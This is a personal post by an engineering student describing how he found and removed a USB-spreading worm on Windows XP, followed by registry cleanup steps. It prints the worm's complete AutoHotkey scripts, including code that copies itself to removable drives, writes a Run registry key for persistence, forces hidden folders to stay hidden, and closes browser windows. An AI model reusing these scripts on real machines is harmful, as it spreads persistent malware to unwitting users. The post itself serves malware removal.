REMOVE MUHAHAHA TROJAN

It’s time to KILL the Worm:

I have PE Tools installed in my PC i ran to find out the running process. I went through all the process and found out that svchost.exe was the one responsible for it. Where PE tools helped me was, svchost.exe was running from a location C:\heap41a . So this is where the worm resides, hmm interesting now deleting the folder would do our task. But it was not so easy, as I terminated this process svchost.exe from the process list it would start again. So I had to boot my XP in safe mode. Why in safe mode is because in safe mode windows loads only the minimum required drivers and doesn’t load any user process, so this means the worm is not started with the windows. Now I searched the folder C:\heap41b but it was hidden. I went to Tools>folder option and select Show all files and folders and pressed ok. I refreshed the c:\ only to find that it won’t show any hidden folders. I again went to the Tools>folder and found the setting of Show all files and folders was reseted. Now how do I see the content, what I did was went to windows search and in advanced option I gave search hidden files and folders and gave svchost.exe as the search keyword. Bang it searched it, so I opened the folder to find out this file was not alone, the other files in this Folder were [offspring], 2.mp3(which produces the sound), Icon.ico, reproduce.txt(on C language), svchost.exe, drivelist.txt, script1.txt, std.txt . Lets see the content of these text files.

[offspring] - Blank Folder

2.mp3 - A laughing sound

Icon.ico - A blank Icon file

reproduce.txt :: a simple copying program

#notrayicon
#persistent
ArrayCount = 0
Loop, Read,C:\heap41a\driveList.txt
{
ArrayCount += 1
Array%ArrayCount% := A_LoopReadLine
}
dat1=%userprofile%
settimer,reproduce,5000
return

reproduce:

Loop %ArrayCount%
{

element := Array%A_Index%
driveget,data,Type,%element%:\
ifequal,data,Removable
{
driveget,data1,status,%element%:\
ifequal,data1,Ready
{
FileCopydir,C:\heap41a\offspring,%element%:\,1

}

}
}
regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\policies\Explorer\Run,winlogon
ifnotequal,regdata,C:\heap41a\svchost.exe C:\heap41a\std.txt
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\policies\Explorer\Run,winlogon,C:\heap41a\svchost.exe C:\heap41a\std.txt
return

svchost.exe :: the main culprit

This is the file that is the culprit. The file responsible for all the annoying pop ups

script1.txt

#persistent
#notrayicon
settimer,ban,2000
return

ban:
WinGetActiveTitle, ed
ifinstring,ed,orkut
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,youtube
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,Mozilla Firefox
{
winclose %ed%
msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA BUT USE IE `r OR ELSE…,30
return
}
ifwinactive ahk_class IEFrame
{

ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}

}
return

std.txt

#notrayicon
#singleinstance,ignore
regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue
ifnotequal,regdata,2
regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,2
Run C:\heap41a\svchost.exe C:\heap41a\script1.txt
Run C:\heap41a\svchost.exe C:\heap41a\reproduce.txt

These files gave away all that this worm does, after reading the script I found out that this worm also hates Youtube. Most important information it gave was the Registery Keys it modified(most important part).

These are the keys that were responsible for the hidden folder problem I faced earlier ::

AFFECTED ENTRY ::

REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue
ifnotequal,regdata,2

ORIGINAL ENTRY ::

REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\
Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,1

Now to rectify this go to Start Menu>Run and type regedit. In the Registry Editor browse to this entry

:: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

and in the “Checked Value” key reset it back to 1 from 2. Now you can change the settings in the folders option. Now delete the folder

:: C:\heap41a and clear all the key entries from this registry entry :: HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\Explorer\Run which says heap41a.

Now the virus infection is removed 100%. Before you are done make sure you format the usb drive it doesn’t infect other systems too.

All the best. Untill a tool is out for this worm, you can follow this method to remove w32.USBWorm.

HAPPY REMOVING THE VIRUS :: I'M VERY HAPPY BECAUSE I HAD TO FORMAT 2 TIMES BEFORE I FOUND THIS VIRUS :: MAY BE IT HELPS YOU....

for further assistance you can Email me. visit my website :: www.mainakkol.co.nr

Mainak Bhattacharya
EE, 2nd Yr, GNIT, Email: mainakkol@gmail.com